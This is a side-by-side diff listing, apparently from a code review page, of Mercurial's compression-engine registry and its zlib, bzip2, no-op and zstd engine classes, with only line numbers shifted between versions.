3198 if bundlename in self._bundlenames:
3200 if bundlename in self._bundlenames:
3199 raise error.Abort(_('bundle name %s already registered') %
3201 raise error.Abort(_('bundle name %s already registered') %
3200 bundlename)
3202 bundlename)
3201 if bundletype in self._bundletypes:
3203 if bundletype in self._bundletypes:
3202 raise error.Abort(_('bundle type %s already registered by %s') %
3204 raise error.Abort(_('bundle type %s already registered by %s') %
3203 (bundletype, self._bundletypes[bundletype]))
3205 (bundletype, self._bundletypes[bundletype]))
3204
3206
3205 # No external facing name declared.
3207 # No external facing name declared.
3206 if bundlename:
3208 if bundlename:
3207 self._bundlenames[bundlename] = name
3209 self._bundlenames[bundlename] = name
3208
3210
3209 self._bundletypes[bundletype] = name
3211 self._bundletypes[bundletype] = name
3210
3212
3211 wiresupport = engine.wireprotosupport()
3213 wiresupport = engine.wireprotosupport()
3212 if wiresupport:
3214 if wiresupport:
3213 wiretype = wiresupport.name
3215 wiretype = wiresupport.name
3214 if wiretype in self._wiretypes:
3216 if wiretype in self._wiretypes:
3215 raise error.Abort(_('wire protocol compression %s already '
3217 raise error.Abort(_('wire protocol compression %s already '
3216 'registered by %s') %
3218 'registered by %s') %
3217 (wiretype, self._wiretypes[wiretype]))
3219 (wiretype, self._wiretypes[wiretype]))
3218
3220
3219 self._wiretypes[wiretype] = name
3221 self._wiretypes[wiretype] = name
3220
3222
3221 revlogheader = engine.revlogheader()
3223 revlogheader = engine.revlogheader()
3222 if revlogheader and revlogheader in self._revlogheaders:
3224 if revlogheader and revlogheader in self._revlogheaders:
3223 raise error.Abort(_('revlog header %s already registered by %s') %
3225 raise error.Abort(_('revlog header %s already registered by %s') %
3224 (revlogheader, self._revlogheaders[revlogheader]))
3226 (revlogheader, self._revlogheaders[revlogheader]))
3225
3227
3226 if revlogheader:
3228 if revlogheader:
3227 self._revlogheaders[revlogheader] = name
3229 self._revlogheaders[revlogheader] = name
3228
3230
3229 self._engines[name] = engine
3231 self._engines[name] = engine
3230
3232
3231 @property
3233 @property
3232 def supportedbundlenames(self):
3234 def supportedbundlenames(self):
3233 return set(self._bundlenames.keys())
3235 return set(self._bundlenames.keys())
3234
3236
3235 @property
3237 @property
3236 def supportedbundletypes(self):
3238 def supportedbundletypes(self):
3237 return set(self._bundletypes.keys())
3239 return set(self._bundletypes.keys())
3238
3240
3239 def forbundlename(self, bundlename):
3241 def forbundlename(self, bundlename):
3240 """Obtain a compression engine registered to a bundle name.
3242 """Obtain a compression engine registered to a bundle name.
3241
3243
3242 Will raise KeyError if the bundle type isn't registered.
3244 Will raise KeyError if the bundle type isn't registered.
3243
3245
3244 Will abort if the engine is known but not available.
3246 Will abort if the engine is known but not available.
3245 """
3247 """
3246 engine = self._engines[self._bundlenames[bundlename]]
3248 engine = self._engines[self._bundlenames[bundlename]]
3247 if not engine.available():
3249 if not engine.available():
3248 raise error.Abort(_('compression engine %s could not be loaded') %
3250 raise error.Abort(_('compression engine %s could not be loaded') %
3249 engine.name())
3251 engine.name())
3250 return engine
3252 return engine
3251
3253
3252 def forbundletype(self, bundletype):
3254 def forbundletype(self, bundletype):
3253 """Obtain a compression engine registered to a bundle type.
3255 """Obtain a compression engine registered to a bundle type.
3254
3256
3255 Will raise KeyError if the bundle type isn't registered.
3257 Will raise KeyError if the bundle type isn't registered.
3256
3258
3257 Will abort if the engine is known but not available.
3259 Will abort if the engine is known but not available.
3258 """
3260 """
3259 engine = self._engines[self._bundletypes[bundletype]]
3261 engine = self._engines[self._bundletypes[bundletype]]
3260 if not engine.available():
3262 if not engine.available():
3261 raise error.Abort(_('compression engine %s could not be loaded') %
3263 raise error.Abort(_('compression engine %s could not be loaded') %
3262 engine.name())
3264 engine.name())
3263 return engine
3265 return engine
3264
3266
3265 def supportedwireengines(self, role, onlyavailable=True):
3267 def supportedwireengines(self, role, onlyavailable=True):
3266 """Obtain compression engines that support the wire protocol.
3268 """Obtain compression engines that support the wire protocol.
3267
3269
3268 Returns a list of engines in prioritized order, most desired first.
3270 Returns a list of engines in prioritized order, most desired first.
3269
3271
3270 If ``onlyavailable`` is set, filter out engines that can't be
3272 If ``onlyavailable`` is set, filter out engines that can't be
3271 loaded.
3273 loaded.
3272 """
3274 """
3273 assert role in (SERVERROLE, CLIENTROLE)
3275 assert role in (SERVERROLE, CLIENTROLE)
3274
3276
3275 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3277 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3276
3278
3277 engines = [self._engines[e] for e in self._wiretypes.values()]
3279 engines = [self._engines[e] for e in self._wiretypes.values()]
3278 if onlyavailable:
3280 if onlyavailable:
3279 engines = [e for e in engines if e.available()]
3281 engines = [e for e in engines if e.available()]
3280
3282
3281 def getkey(e):
3283 def getkey(e):
3282 # Sort first by priority, highest first. In case of tie, sort
3284 # Sort first by priority, highest first. In case of tie, sort
3283 # alphabetically. This is arbitrary, but ensures output is
3285 # alphabetically. This is arbitrary, but ensures output is
3284 # stable.
3286 # stable.
3285 w = e.wireprotosupport()
3287 w = e.wireprotosupport()
3286 return -1 * getattr(w, attr), w.name
3288 return -1 * getattr(w, attr), w.name
3287
3289
3288 return list(sorted(engines, key=getkey))
3290 return list(sorted(engines, key=getkey))
3289
3291
3290 def forwiretype(self, wiretype):
3292 def forwiretype(self, wiretype):
3291 engine = self._engines[self._wiretypes[wiretype]]
3293 engine = self._engines[self._wiretypes[wiretype]]
3292 if not engine.available():
3294 if not engine.available():
3293 raise error.Abort(_('compression engine %s could not be loaded') %
3295 raise error.Abort(_('compression engine %s could not be loaded') %
3294 engine.name())
3296 engine.name())
3295 return engine
3297 return engine
3296
3298
3297 def forrevlogheader(self, header):
3299 def forrevlogheader(self, header):
3298 """Obtain a compression engine registered to a revlog header.
3300 """Obtain a compression engine registered to a revlog header.
3299
3301
3300 Will raise KeyError if the revlog header value isn't registered.
3302 Will raise KeyError if the revlog header value isn't registered.
3301 """
3303 """
3302 return self._engines[self._revlogheaders[header]]
3304 return self._engines[self._revlogheaders[header]]
3303
3305
3304 compengines = compressormanager()
3306 compengines = compressormanager()
3305
3307
3306 class compressionengine(object):
3308 class compressionengine(object):
3307 """Base class for compression engines.
3309 """Base class for compression engines.
3308
3310
3309 Compression engines must implement the interface defined by this class.
3311 Compression engines must implement the interface defined by this class.
3310 """
3312 """
3311 def name(self):
3313 def name(self):
3312 """Returns the name of the compression engine.
3314 """Returns the name of the compression engine.
3313
3315
3314 This is the key the engine is registered under.
3316 This is the key the engine is registered under.
3315
3317
3316 This method must be implemented.
3318 This method must be implemented.
3317 """
3319 """
3318 raise NotImplementedError()
3320 raise NotImplementedError()
3319
3321
3320 def available(self):
3322 def available(self):
3321 """Whether the compression engine is available.
3323 """Whether the compression engine is available.
3322
3324
3323 The intent of this method is to allow optional compression engines
3325 The intent of this method is to allow optional compression engines
3324 that may not be available in all installations (such as engines relying
3326 that may not be available in all installations (such as engines relying
3325 on C extensions that may not be present).
3327 on C extensions that may not be present).
3326 """
3328 """
3327 return True
3329 return True
3328
3330
3329 def bundletype(self):
3331 def bundletype(self):
3330 """Describes bundle identifiers for this engine.
3332 """Describes bundle identifiers for this engine.
3331
3333
3332 If this compression engine isn't supported for bundles, returns None.
3334 If this compression engine isn't supported for bundles, returns None.
3333
3335
3334 If this engine can be used for bundles, returns a 2-tuple of strings of
3336 If this engine can be used for bundles, returns a 2-tuple of strings of
3335 the user-facing "bundle spec" compression name and an internal
3337 the user-facing "bundle spec" compression name and an internal
3336 identifier used to denote the compression format within bundles. To
3338 identifier used to denote the compression format within bundles. To
3337 exclude the name from external usage, set the first element to ``None``.
3339 exclude the name from external usage, set the first element to ``None``.
3338
3340
3339 If bundle compression is supported, the class must also implement
3341 If bundle compression is supported, the class must also implement
3340 ``compressstream`` and `decompressorreader``.
3342 ``compressstream`` and `decompressorreader``.
3341
3343
3342 The docstring of this method is used in the help system to tell users
3344 The docstring of this method is used in the help system to tell users
3343 about this engine.
3345 about this engine.
3344 """
3346 """
3345 return None
3347 return None
3346
3348
3347 def wireprotosupport(self):
3349 def wireprotosupport(self):
3348 """Declare support for this compression format on the wire protocol.
3350 """Declare support for this compression format on the wire protocol.
3349
3351
3350 If this compression engine isn't supported for compressing wire
3352 If this compression engine isn't supported for compressing wire
3351 protocol payloads, returns None.
3353 protocol payloads, returns None.
3352
3354
3353 Otherwise, returns ``compenginewireprotosupport`` with the following
3355 Otherwise, returns ``compenginewireprotosupport`` with the following
3354 fields:
3356 fields:
3355
3357
3356 * String format identifier
3358 * String format identifier
3357 * Integer priority for the server
3359 * Integer priority for the server
3358 * Integer priority for the client
3360 * Integer priority for the client
3359
3361
3360 The integer priorities are used to order the advertisement of format
3362 The integer priorities are used to order the advertisement of format
3361 support by server and client. The highest integer is advertised
3363 support by server and client. The highest integer is advertised
3362 first. Integers with non-positive values aren't advertised.
3364 first. Integers with non-positive values aren't advertised.
3363
3365
3364 The priority values are somewhat arbitrary and only used for default
3366 The priority values are somewhat arbitrary and only used for default
3365 ordering. The relative order can be changed via config options.
3367 ordering. The relative order can be changed via config options.
3366
3368
3367 If wire protocol compression is supported, the class must also implement
3369 If wire protocol compression is supported, the class must also implement
3368 ``compressstream`` and ``decompressorreader``.
3370 ``compressstream`` and ``decompressorreader``.
3369 """
3371 """
3370 return None
3372 return None
3371
3373
3372 def revlogheader(self):
3374 def revlogheader(self):
3373 """Header added to revlog chunks that identifies this engine.
3375 """Header added to revlog chunks that identifies this engine.
3374
3376
3375 If this engine can be used to compress revlogs, this method should
3377 If this engine can be used to compress revlogs, this method should
3376 return the bytes used to identify chunks compressed with this engine.
3378 return the bytes used to identify chunks compressed with this engine.
3377 Else, the method should return ``None`` to indicate it does not
3379 Else, the method should return ``None`` to indicate it does not
3378 participate in revlog compression.
3380 participate in revlog compression.
3379 """
3381 """
3380 return None
3382 return None
3381
3383
3382 def compressstream(self, it, opts=None):
3384 def compressstream(self, it, opts=None):
3383 """Compress an iterator of chunks.
3385 """Compress an iterator of chunks.
3384
3386
3385 The method receives an iterator (ideally a generator) of chunks of
3387 The method receives an iterator (ideally a generator) of chunks of
3386 bytes to be compressed. It returns an iterator (ideally a generator)
3388 bytes to be compressed. It returns an iterator (ideally a generator)
3387 of bytes of chunks representing the compressed output.
3389 of bytes of chunks representing the compressed output.
3388
3390
3389 Optionally accepts an argument defining how to perform compression.
3391 Optionally accepts an argument defining how to perform compression.
3390 Each engine treats this argument differently.
3392 Each engine treats this argument differently.
3391 """
3393 """
3392 raise NotImplementedError()
3394 raise NotImplementedError()
3393
3395
3394 def decompressorreader(self, fh):
3396 def decompressorreader(self, fh):
3395 """Perform decompression on a file object.
3397 """Perform decompression on a file object.
3396
3398
3397 Argument is an object with a ``read(size)`` method that returns
3399 Argument is an object with a ``read(size)`` method that returns
3398 compressed data. Return value is an object with a ``read(size)`` that
3400 compressed data. Return value is an object with a ``read(size)`` that
3399 returns uncompressed data.
3401 returns uncompressed data.
3400 """
3402 """
3401 raise NotImplementedError()
3403 raise NotImplementedError()
3402
3404
3403 def revlogcompressor(self, opts=None):
3405 def revlogcompressor(self, opts=None):
3404 """Obtain an object that can be used to compress revlog entries.
3406 """Obtain an object that can be used to compress revlog entries.
3405
3407
3406 The object has a ``compress(data)`` method that compresses binary
3408 The object has a ``compress(data)`` method that compresses binary
3407 data. This method returns compressed binary data or ``None`` if
3409 data. This method returns compressed binary data or ``None`` if
3408 the data could not be compressed (too small, not compressible, etc).
3410 the data could not be compressed (too small, not compressible, etc).
3409 The returned data should have a header uniquely identifying this
3411 The returned data should have a header uniquely identifying this
3410 compression format so decompression can be routed to this engine.
3412 compression format so decompression can be routed to this engine.
3411 This header should be identified by the ``revlogheader()`` return
3413 This header should be identified by the ``revlogheader()`` return
3412 value.
3414 value.
3413
3415
3414 The object has a ``decompress(data)`` method that decompresses
3416 The object has a ``decompress(data)`` method that decompresses
3415 data. The method will only be called if ``data`` begins with
3417 data. The method will only be called if ``data`` begins with
3416 ``revlogheader()``. The method should return the raw, uncompressed
3418 ``revlogheader()``. The method should return the raw, uncompressed
3417 data or raise a ``RevlogError``.
3419 data or raise a ``RevlogError``.
3418
3420
3419 The object is reusable but is not thread safe.
3421 The object is reusable but is not thread safe.
3420 """
3422 """
3421 raise NotImplementedError()
3423 raise NotImplementedError()
3422
3424
3423 class _zlibengine(compressionengine):
3425 class _zlibengine(compressionengine):
3424 def name(self):
3426 def name(self):
3425 return 'zlib'
3427 return 'zlib'
3426
3428
3427 def bundletype(self):
3429 def bundletype(self):
3428 """zlib compression using the DEFLATE algorithm.
3430 """zlib compression using the DEFLATE algorithm.
3429
3431
3430 All Mercurial clients should support this format. The compression
3432 All Mercurial clients should support this format. The compression
3431 algorithm strikes a reasonable balance between compression ratio
3433 algorithm strikes a reasonable balance between compression ratio
3432 and size.
3434 and size.
3433 """
3435 """
3434 return 'gzip', 'GZ'
3436 return 'gzip', 'GZ'
3435
3437
3436 def wireprotosupport(self):
3438 def wireprotosupport(self):
3437 return compewireprotosupport('zlib', 20, 20)
3439 return compewireprotosupport('zlib', 20, 20)
3438
3440
3439 def revlogheader(self):
3441 def revlogheader(self):
3440 return 'x'
3442 return 'x'
3441
3443
3442 def compressstream(self, it, opts=None):
3444 def compressstream(self, it, opts=None):
3443 opts = opts or {}
3445 opts = opts or {}
3444
3446
3445 z = zlib.compressobj(opts.get('level', -1))
3447 z = zlib.compressobj(opts.get('level', -1))
3446 for chunk in it:
3448 for chunk in it:
3447 data = z.compress(chunk)
3449 data = z.compress(chunk)
3448 # Not all calls to compress emit data. It is cheaper to inspect
3450 # Not all calls to compress emit data. It is cheaper to inspect
3449 # here than to feed empty chunks through generator.
3451 # here than to feed empty chunks through generator.
3450 if data:
3452 if data:
3451 yield data
3453 yield data
3452
3454
3453 yield z.flush()
3455 yield z.flush()
3454
3456
3455 def decompressorreader(self, fh):
3457 def decompressorreader(self, fh):
3456 def gen():
3458 def gen():
3457 d = zlib.decompressobj()
3459 d = zlib.decompressobj()
3458 for chunk in filechunkiter(fh):
3460 for chunk in filechunkiter(fh):
3459 while chunk:
3461 while chunk:
3460 # Limit output size to limit memory.
3462 # Limit output size to limit memory.
3461 yield d.decompress(chunk, 2 ** 18)
3463 yield d.decompress(chunk, 2 ** 18)
3462 chunk = d.unconsumed_tail
3464 chunk = d.unconsumed_tail
3463
3465
3464 return chunkbuffer(gen())
3466 return chunkbuffer(gen())
3465
3467
3466 class zlibrevlogcompressor(object):
3468 class zlibrevlogcompressor(object):
3467 def compress(self, data):
3469 def compress(self, data):
3468 insize = len(data)
3470 insize = len(data)
3469 # Caller handles empty input case.
3471 # Caller handles empty input case.
3470 assert insize > 0
3472 assert insize > 0
3471
3473
3472 if insize < 44:
3474 if insize < 44:
3473 return None
3475 return None
3474
3476
3475 elif insize <= 1000000:
3477 elif insize <= 1000000:
3476 compressed = zlib.compress(data)
3478 compressed = zlib.compress(data)
3477 if len(compressed) < insize:
3479 if len(compressed) < insize:
3478 return compressed
3480 return compressed
3479 return None
3481 return None
3480
3482
3481 # zlib makes an internal copy of the input buffer, doubling
3483 # zlib makes an internal copy of the input buffer, doubling
3482 # memory usage for large inputs. So do streaming compression
3484 # memory usage for large inputs. So do streaming compression
3483 # on large inputs.
3485 # on large inputs.
3484 else:
3486 else:
3485 z = zlib.compressobj()
3487 z = zlib.compressobj()
3486 parts = []
3488 parts = []
3487 pos = 0
3489 pos = 0
3488 while pos < insize:
3490 while pos < insize:
3489 pos2 = pos + 2**20
3491 pos2 = pos + 2**20
3490 parts.append(z.compress(data[pos:pos2]))
3492 parts.append(z.compress(data[pos:pos2]))
3491 pos = pos2
3493 pos = pos2
3492 parts.append(z.flush())
3494 parts.append(z.flush())
3493
3495
3494 if sum(map(len, parts)) < insize:
3496 if sum(map(len, parts)) < insize:
3495 return ''.join(parts)
3497 return ''.join(parts)
3496 return None
3498 return None
3497
3499
3498 def decompress(self, data):
3500 def decompress(self, data):
3499 try:
3501 try:
3500 return zlib.decompress(data)
3502 return zlib.decompress(data)
3501 except zlib.error as e:
3503 except zlib.error as e:
3502 raise error.RevlogError(_('revlog decompress error: %s') %
3504 raise error.RevlogError(_('revlog decompress error: %s') %
3503 str(e))
3505 str(e))
3504
3506
3505 def revlogcompressor(self, opts=None):
3507 def revlogcompressor(self, opts=None):
3506 return self.zlibrevlogcompressor()
3508 return self.zlibrevlogcompressor()
3507
3509
3508 compengines.register(_zlibengine())
3510 compengines.register(_zlibengine())
3509
3511
3510 class _bz2engine(compressionengine):
3512 class _bz2engine(compressionengine):
3511 def name(self):
3513 def name(self):
3512 return 'bz2'
3514 return 'bz2'
3513
3515
3514 def bundletype(self):
3516 def bundletype(self):
3515 """An algorithm that produces smaller bundles than ``gzip``.
3517 """An algorithm that produces smaller bundles than ``gzip``.
3516
3518
3517 All Mercurial clients should support this format.
3519 All Mercurial clients should support this format.
3518
3520
3519 This engine will likely produce smaller bundles than ``gzip`` but
3521 This engine will likely produce smaller bundles than ``gzip`` but
3520 will be significantly slower, both during compression and
3522 will be significantly slower, both during compression and
3521 decompression.
3523 decompression.
3522
3524
3523 If available, the ``zstd`` engine can yield similar or better
3525 If available, the ``zstd`` engine can yield similar or better
3524 compression at much higher speeds.
3526 compression at much higher speeds.
3525 """
3527 """
3526 return 'bzip2', 'BZ'
3528 return 'bzip2', 'BZ'
3527
3529
3528 # We declare a protocol name but don't advertise by default because
3530 # We declare a protocol name but don't advertise by default because
3529 # it is slow.
3531 # it is slow.
3530 def wireprotosupport(self):
3532 def wireprotosupport(self):
3531 return compewireprotosupport('bzip2', 0, 0)
3533 return compewireprotosupport('bzip2', 0, 0)
3532
3534
3533 def compressstream(self, it, opts=None):
3535 def compressstream(self, it, opts=None):
3534 opts = opts or {}
3536 opts = opts or {}
3535 z = bz2.BZ2Compressor(opts.get('level', 9))
3537 z = bz2.BZ2Compressor(opts.get('level', 9))
3536 for chunk in it:
3538 for chunk in it:
3537 data = z.compress(chunk)
3539 data = z.compress(chunk)
3538 if data:
3540 if data:
3539 yield data
3541 yield data
3540
3542
3541 yield z.flush()
3543 yield z.flush()
3542
3544
3543 def decompressorreader(self, fh):
3545 def decompressorreader(self, fh):
3544 def gen():
3546 def gen():
3545 d = bz2.BZ2Decompressor()
3547 d = bz2.BZ2Decompressor()
3546 for chunk in filechunkiter(fh):
3548 for chunk in filechunkiter(fh):
3547 yield d.decompress(chunk)
3549 yield d.decompress(chunk)
3548
3550
3549 return chunkbuffer(gen())
3551 return chunkbuffer(gen())
3550
3552
3551 compengines.register(_bz2engine())
3553 compengines.register(_bz2engine())
3552
3554
3553 class _truncatedbz2engine(compressionengine):
3555 class _truncatedbz2engine(compressionengine):
3554 def name(self):
3556 def name(self):
3555 return 'bz2truncated'
3557 return 'bz2truncated'
3556
3558
3557 def bundletype(self):
3559 def bundletype(self):
3558 return None, '_truncatedBZ'
3560 return None, '_truncatedBZ'
3559
3561
3560 # We don't implement compressstream because it is hackily handled elsewhere.
3562 # We don't implement compressstream because it is hackily handled elsewhere.
3561
3563
3562 def decompressorreader(self, fh):
3564 def decompressorreader(self, fh):
3563 def gen():
3565 def gen():
3564 # The input stream doesn't have the 'BZ' header. So add it back.
3566 # The input stream doesn't have the 'BZ' header. So add it back.
3565 d = bz2.BZ2Decompressor()
3567 d = bz2.BZ2Decompressor()
3566 d.decompress('BZ')
3568 d.decompress('BZ')
3567 for chunk in filechunkiter(fh):
3569 for chunk in filechunkiter(fh):
3568 yield d.decompress(chunk)
3570 yield d.decompress(chunk)
3569
3571
3570 return chunkbuffer(gen())
3572 return chunkbuffer(gen())
3571
3573
3572 compengines.register(_truncatedbz2engine())
3574 compengines.register(_truncatedbz2engine())
3573
3575
3574 class _noopengine(compressionengine):
3576 class _noopengine(compressionengine):
3575 def name(self):
3577 def name(self):
3576 return 'none'
3578 return 'none'
3577
3579
3578 def bundletype(self):
3580 def bundletype(self):
3579 """No compression is performed.
3581 """No compression is performed.
3580
3582
3581 Use this compression engine to explicitly disable compression.
3583 Use this compression engine to explicitly disable compression.
3582 """
3584 """
3583 return 'none', 'UN'
3585 return 'none', 'UN'
3584
3586
3585 # Clients always support uncompressed payloads. Servers don't because
3587 # Clients always support uncompressed payloads. Servers don't because
3586 # unless you are on a fast network, uncompressed payloads can easily
3588 # unless you are on a fast network, uncompressed payloads can easily
3587 # saturate your network pipe.
3589 # saturate your network pipe.
3588 def wireprotosupport(self):
3590 def wireprotosupport(self):
3589 return compewireprotosupport('none', 0, 10)
3591 return compewireprotosupport('none', 0, 10)
3590
3592
3591 # We don't implement revlogheader because it is handled specially
3593 # We don't implement revlogheader because it is handled specially
3592 # in the revlog class.
3594 # in the revlog class.
3593
3595
3594 def compressstream(self, it, opts=None):
3596 def compressstream(self, it, opts=None):
3595 return it
3597 return it
3596
3598
3597 def decompressorreader(self, fh):
3599 def decompressorreader(self, fh):
3598 return fh
3600 return fh
3599
3601
3600 class nooprevlogcompressor(object):
3602 class nooprevlogcompressor(object):
3601 def compress(self, data):
3603 def compress(self, data):
3602 return None
3604 return None
3603
3605
3604 def revlogcompressor(self, opts=None):
3606 def revlogcompressor(self, opts=None):
3605 return self.nooprevlogcompressor()
3607 return self.nooprevlogcompressor()
3606
3608
3607 compengines.register(_noopengine())
3609 compengines.register(_noopengine())
3608
3610
3609 class _zstdengine(compressionengine):
3611 class _zstdengine(compressionengine):
3610 def name(self):
3612 def name(self):
3611 return 'zstd'
3613 return 'zstd'
3612
3614
3613 @propertycache
3615 @propertycache
3614 def _module(self):
3616 def _module(self):
3615 # Not all installs have the zstd module available. So defer importing
3617 # Not all installs have the zstd module available. So defer importing
3616 # until first access.
3618 # until first access.
3617 try:
3619 try:
3618 from . import zstd
3620 from . import zstd
3619 # Force delayed import.
3621 # Force delayed import.
3620 zstd.__version__
3622 zstd.__version__
3621 return zstd
3623 return zstd
3622 except ImportError:
3624 except ImportError:
3623 return None
3625 return None
3624
3626
3625 def available(self):
3627 def available(self):
3626 return bool(self._module)
3628 return bool(self._module)
3627
3629
3628 def bundletype(self):
3630 def bundletype(self):
3629 """A modern compression algorithm that is fast and highly flexible.
3631 """A modern compression algorithm that is fast and highly flexible.
3630
3632
3631 Only supported by Mercurial 4.1 and newer clients.
3633 Only supported by Mercurial 4.1 and newer clients.
3632
3634
3633 With the default settings, zstd compression is both faster and yields
3635 With the default settings, zstd compression is both faster and yields
3634 better compression than ``gzip``. It also frequently yields better
3636 better compression than ``gzip``. It also frequently yields better
3635 compression than ``bzip2`` while operating at much higher speeds.
3637 compression than ``bzip2`` while operating at much higher speeds.
3636
3638
3637 If this engine is available and backwards compatibility is not a
3639 If this engine is available and backwards compatibility is not a
3638 concern, it is likely the best available engine.
3640 concern, it is likely the best available engine.
3639 """
3641 """
3640 return 'zstd', 'ZS'
3642 return 'zstd', 'ZS'
3641
3643
3642 def wireprotosupport(self):
3644 def wireprotosupport(self):
3643 return compewireprotosupport('zstd', 50, 50)
3645 return compewireprotosupport('zstd', 50, 50)
3644
3646
3645 def revlogheader(self):
3647 def revlogheader(self):
3646 return '\x28'
3648 return '\x28'
3647
3649
3648 def compressstream(self, it, opts=None):
3650 def compressstream(self, it, opts=None):
3649 opts = opts or {}
3651 opts = opts or {}
3650 # zstd level 3 is almost always significantly faster than zlib
3652 # zstd level 3 is almost always significantly faster than zlib
3651 # while providing no worse compression. It strikes a good balance
3653 # while providing no worse compression. It strikes a good balance
3652 # between speed and compression.
3654 # between speed and compression.
3653 level = opts.get('level', 3)
3655 level = opts.get('level', 3)
3654
3656
3655 zstd = self._module
3657 zstd = self._module
3656 z = zstd.ZstdCompressor(level=level).compressobj()
3658 z = zstd.ZstdCompressor(level=level).compressobj()
3657 for chunk in it:
3659 for chunk in it:
3658 data = z.compress(chunk)
3660 data = z.compress(chunk)
3659 if data:
3661 if data:
3660 yield data
3662 yield data
3661
3663
3662 yield z.flush()
3664 yield z.flush()
3663
3665
3664 def decompressorreader(self, fh):
3666 def decompressorreader(self, fh):
3665 zstd = self._module
3667 zstd = self._module
3666 dctx = zstd.ZstdDecompressor()
3668 dctx = zstd.ZstdDecompressor()
3667 return chunkbuffer(dctx.read_from(fh))
3669 return chunkbuffer(dctx.read_from(fh))
3668
3670
3669 class zstdrevlogcompressor(object):
3671 class zstdrevlogcompressor(object):
3670 def __init__(self, zstd, level=3):
3672 def __init__(self, zstd, level=3):
3671 # Writing the content size adds a few bytes to the output. However,
3673 # Writing the content size adds a few bytes to the output. However,
3672 # it allows decompression to be more optimal since we can
3674 # it allows decompression to be more optimal since we can
3673 # pre-allocate a buffer to hold the result.
3675 # pre-allocate a buffer to hold the result.
3674 self._cctx = zstd.ZstdCompressor(level=level,
3676 self._cctx = zstd.ZstdCompressor(level=level,
3675 write_content_size=True)
3677 write_content_size=True)
3676 self._dctx = zstd.ZstdDecompressor()
3678 self._dctx = zstd.ZstdDecompressor()
3677 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3679 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3678 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3680 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3679
3681
3680 def compress(self, data):
3682 def compress(self, data):
3681 insize = len(data)
3683 insize = len(data)
3682 # Caller handles empty input case.
3684 # Caller handles empty input case.
3683 assert insize > 0
3685 assert insize > 0
3684
3686
3685 if insize < 50:
3687 if insize < 50:
3686 return None
3688 return None
3687
3689
3688 elif insize <= 1000000:
3690 elif insize <= 1000000:
3689 compressed = self._cctx.compress(data)
3691 compressed = self._cctx.compress(data)
3690 if len(compressed) < insize:
3692 if len(compressed) < insize:
3691 return compressed
3693 return compressed
3692 return None
3694 return None
3693 else:
3695 else:
3694 z = self._cctx.compressobj()
3696 z = self._cctx.compressobj()
3695 chunks = []
3697 chunks = []
3696 pos = 0
3698 pos = 0
3697 while pos < insize:
3699 while pos < insize:
3698 pos2 = pos + self._compinsize
3700 pos2 = pos + self._compinsize
3699 chunk = z.compress(data[pos:pos2])
3701 chunk = z.compress(data[pos:pos2])
3700 if chunk:
3702 if chunk:
3701 chunks.append(chunk)
3703 chunks.append(chunk)
3702 pos = pos2
3704 pos = pos2
3703 chunks.append(z.flush())
3705 chunks.append(z.flush())
3704
3706
3705 if sum(map(len, chunks)) < insize:
3707 if sum(map(len, chunks)) < insize:
3706 return ''.join(chunks)
3708 return ''.join(chunks)
3707 return None
3709 return None
3708
3710
3709 def decompress(self, data):
3711 def decompress(self, data):
3710 insize = len(data)
3712 insize = len(data)
3711
3713
3712 try:
3714 try:
3713 # This was measured to be faster than other streaming
3715 # This was measured to be faster than other streaming
3714 # decompressors.
3716 # decompressors.
3715 dobj = self._dctx.decompressobj()
3717 dobj = self._dctx.decompressobj()
3716 chunks = []
3718 chunks = []
3717 pos = 0
3719 pos = 0
3718 while pos < insize:
3720 while pos < insize:
3719 pos2 = pos + self._decompinsize
3721 pos2 = pos + self._decompinsize
3720 chunk = dobj.decompress(data[pos:pos2])
3722 chunk = dobj.decompress(data[pos:pos2])
3721 if chunk:
3723 if chunk:
3722 chunks.append(chunk)
3724 chunks.append(chunk)
3723 pos = pos2
3725 pos = pos2
3724 # Frame should be exhausted, so no finish() API.
3726 # Frame should be exhausted, so no finish() API.
3725
3727
3726 return ''.join(chunks)
3728 return ''.join(chunks)
3727 except Exception as e:
3729 except Exception as e:
3728 raise error.RevlogError(_('revlog decompress error: %s') %
3730 raise error.RevlogError(_('revlog decompress error: %s') %
3729 str(e))
3731 str(e))
3730
3732
3731 def revlogcompressor(self, opts=None):
3733 def revlogcompressor(self, opts=None):
3732 opts = opts or {}
3734 opts = opts or {}
3733 return self.zstdrevlogcompressor(self._module,
3735 return self.zstdrevlogcompressor(self._module,
3734 level=opts.get('level', 3))
3736 level=opts.get('level', 3))
3735
3737
3736 compengines.register(_zstdengine())
3738 compengines.register(_zstdengine())
3737
3739
3738 def bundlecompressiontopics():
3740 def bundlecompressiontopics():
3739 """Obtains a list of available bundle compressions for use in help."""
3741 """Obtains a list of available bundle compressions for use in help."""
3740 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3742 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3741 items = {}
3743 items = {}
3742
3744
3743 # We need to format the docstring. So use a dummy object/type to hold it
3745 # We need to format the docstring. So use a dummy object/type to hold it
3744 # rather than mutating the original.
3746 # rather than mutating the original.
3745 class docobject(object):
3747 class docobject(object):
3746 pass
3748 pass
3747
3749
3748 for name in compengines:
3750 for name in compengines:
3749 engine = compengines[name]
3751 engine = compengines[name]
3750
3752
3751 if not engine.available():
3753 if not engine.available():
3752 continue
3754 continue
3753
3755
3754 bt = engine.bundletype()
3756 bt = engine.bundletype()
3755 if not bt or not bt[0]:
3757 if not bt or not bt[0]:
3756 continue
3758 continue
3757
3759
3758 doc = pycompat.sysstr('``%s``\n %s') % (
3760 doc = pycompat.sysstr('``%s``\n %s') % (
3759 bt[0], engine.bundletype.__doc__)
3761 bt[0], engine.bundletype.__doc__)
3760
3762
3761 value = docobject()
3763 value = docobject()
3762 value.__doc__ = doc
3764 value.__doc__ = doc
3763 value._origdoc = engine.bundletype.__doc__
3765 value._origdoc = engine.bundletype.__doc__
3764 value._origfunc = engine.bundletype
3766 value._origfunc = engine.bundletype
3765
3767
3766 items[bt[0]] = value
3768 items[bt[0]] = value
3767
3769
3768 return items
3770 return items
3769
3771
3770 i18nfunctions = bundlecompressiontopics().values()
3772 i18nfunctions = bundlecompressiontopics().values()
3771
3773
3772 # convenient shortcut
3774 # convenient shortcut
3773 dst = debugstacktrace
3775 dst = debugstacktrace
General Comments 0
